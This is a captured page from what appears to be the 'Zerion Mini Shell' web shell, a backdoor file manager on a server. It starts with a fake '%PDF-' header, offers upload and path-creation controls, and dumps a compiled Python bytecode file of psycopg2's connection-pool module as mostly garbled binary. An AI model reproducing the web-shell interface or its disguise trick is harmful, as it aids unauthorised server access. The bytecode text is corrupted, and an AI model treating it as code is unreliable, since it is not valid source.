%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/self/root/opt/alt/python27/lib64/python2.7/site-packages/psycopg2/
Upload File :
Create Path :
Current File : //proc/self/root/opt/alt/python27/lib64/python2.7/site-packages/psycopg2/pool.pyo

�
Tc@s�dZddlZddljZdejfd��YZdefd��YZdefd��YZ	d	efd
��YZ
defd��YZdS(
s`Connection pooling for psycopg2

This module implements thread-safe (and not) connection pools.
i����Nt	PoolErrorcBseZRS((t__name__t
__module__(((s@/opt/alt/python27/lib64/python2.7/site-packages/psycopg2/pool.pyRstAbstractConnectionPoolcBsPeZdZd�Zdd�Zd�Zdd�Zded�Z	d�Z
RS(sGeneric key-based pooling code.cOs�t|�|_t|�|_t|_||_||_g|_i|_i|_	d|_
x!t|j�D]}|j�qmWdS(s�Initialize the connection pool.

        New 'minconn' connections are created immediately calling 'connfunc'
        with given parameters. The connection pool will support a maximum of
        about 'maxconn' connections.        
        iN(
tinttminconntmaxconntFalsetclosedt_argst_kwargst_poolt_usedt_rusedt_keystranget_connect(tselfRRtargstkwargsti((s@/opt/alt/python27/lib64/python2.7/site-packages/psycopg2/pool.pyt__init__&s							cCs[tj|j|j�}|dk	rG||j|<||jt|�<n|jj	|�|S(s;Create a new connection and assign it to 'key' if not None.N(
tpsycopg2tconnectR	R
tNoneRR
tidRtappend(Rtkeytconn((s@/opt/alt/python27/lib64/python2.7/site-packages/psycopg2/pool.pyR<s
cCs|jd7_|jS(sReturn a new unique key.i(R(R((s@/opt/alt/python27/lib64/python2.7/site-packages/psycopg2/pool.pyt_getkeyFscCs�|jrtd��n|dkr3|j�}n||jkrM|j|S|jr�|jj�|j|<}||jt|�<|St	|j�|j
kr�td��n|j|�SdS(s9Get a free connection and assign it to 'key' if not None.sconnection pool is closedsconnection pool exaustedN(RRRRRRtpopR
RtlenRR(RRR((s@/opt/alt/python27/lib64/python2.7/site-packages/psycopg2/pool.pyt_getconnKs		cCs*|jrtd��n|dkr?|jjt|��}n|sTtd��nt|j�|jkr�|r�|js�|j	�}|t
jkr�|j�q�|t
j
kr�|j�|jj|�q�|jj|�q�n
|j�|js	||jkr&|j|=|jt|�=ndS(sPut away a connection.sconnection pool is closeds trying to put unkeyed connectionN(RRRR
tgetRRRRtget_transaction_statust_exttTRANSACTION_STATUS_UNKNOWNtclosetTRANSACTION_STATUS_IDLEtrollbackRR(RRRR%tstatus((s@/opt/alt/python27/lib64/python2.7/site-packages/psycopg2/pool.pyt_putconn\s&		



cCsd|jrtd��nx<|jt|jj��D]}y|j�Wq5q5Xq5Wt|_dS(s�Close all connections.

        Note that this can lead to some code fail badly when trying to use
        an already closed connection. If you call .closeall() make sure
        your code can deal with it.
        sconnection pool is closedN(RRRtlistRtvaluesR%tTrue(RR((s@/opt/alt/python27/lib64/python2.7/site-packages/psycopg2/pool.pyt	_closeall}s	#N(RRt__doc__RRRRR RR)R-(((s@/opt/alt/python27/lib64/python2.7/site-packages/psycopg2/pool.pyR#s	
	!tSimpleConnectionPoolcBs)eZdZejZejZejZ	RS(s@A connection pool that can't be shared across different threads.(
RRR.RR tgetconnR)tputconnR-tcloseall(((s@/opt/alt/python27/lib64/python2.7/site-packages/psycopg2/pool.pyR/�s		tThreadedConnectionPoolcBs>eZdZd�Zdd�Zdded�Zd�ZRS(s7A connection pool that works with the threading module.cOs8ddl}tj|||||�|j�|_dS(sInitialize the threading lock.i����N(t	threadingRRtLockt_lock(RRRRRR4((s@/opt/alt/python27/lib64/python2.7/site-packages/psycopg2/pool.pyR�scCs3|jj�z|j|�SWd|jj�XdS(s9Get a free connection and assign it to 'key' if not None.N(R6tacquireR trelease(RR((s@/opt/alt/python27/lib64/python2.7/site-packages/psycopg2/pool.pyR0�s
cCs9|jj�z|j|||�Wd|jj�XdS(sPut away an unused connection.N(R6R7R)R8(RRRR%((s@/opt/alt/python27/lib64/python2.7/site-packages/psycopg2/pool.pyR1�s
cCs0|jj�z|j�Wd|jj�XdS(s6Close all connections (even the one currently in use.)N(R6R7R-R8(R((s@/opt/alt/python27/lib64/python2.7/site-packages/psycopg2/pool.pyR2�s
N(	RRR.RRR0RR1R2(((s@/opt/alt/python27/lib64/python2.7/site-packages/psycopg2/pool.pyR3�s
	tPersistentConnectionPoolcBs8eZdZd�Zd�Zded�Zd�ZRS(s�A pool that assigns persistent connections to different threads. 

    Note that this connection pool generates by itself the required keys
    using the current thread id.  This means that until a thread puts away
    a connection it will always get the same connection object by successive
    `!getconn()` calls. This also means that a thread can't use more than one
    single connection from the pool.
    cOsiddl}|jdt�ddl}tj|||||�|j�|_ddl}||_	dS(sInitialize the threading lock.i����Ns.deprecated: use ZPsycopgDA.pool implementation(
twarningstwarntDeprecationWarningR4RRR5R6tthreadt!_PersistentConnectionPool__thread(RRRRRR:R4R=((s@/opt/alt/python27/lib64/python2.7/site-packages/psycopg2/pool.pyR�s	cCsB|jj�}|jj�z|j|�SWd|jj�XdS(s+Generate thread id and return a connection.N(R>t	get_identR6R7R R8(RR((s@/opt/alt/python27/lib64/python2.7/site-packages/psycopg2/pool.pyR0�s

cCs^|jj�}|jj�z-|s5|j|}n|j|||�Wd|jj�XdS(sPut away an unused connection.N(R>R?R6R7RR)R8(RRR%R((s@/opt/alt/python27/lib64/python2.7/site-packages/psycopg2/pool.pyR1�s
cCs0|jj�z|j�Wd|jj�XdS(s6Close all connections (even the one currently in use.)N(R6R7R-R8(R((s@/opt/alt/python27/lib64/python2.7/site-packages/psycopg2/pool.pyR2�s
N(	RRR.RR0RRR1R2(((s@/opt/alt/python27/lib64/python2.7/site-packages/psycopg2/pool.pyR9�s
			
(R.Rtpsycopg2.extensionst
extensionsR#tErrorRtobjectRR/R3R9(((s@/opt/alt/python27/lib64/python2.7/site-packages/psycopg2/pool.pyt<module>sj#

Zerion Mini Shell 1.0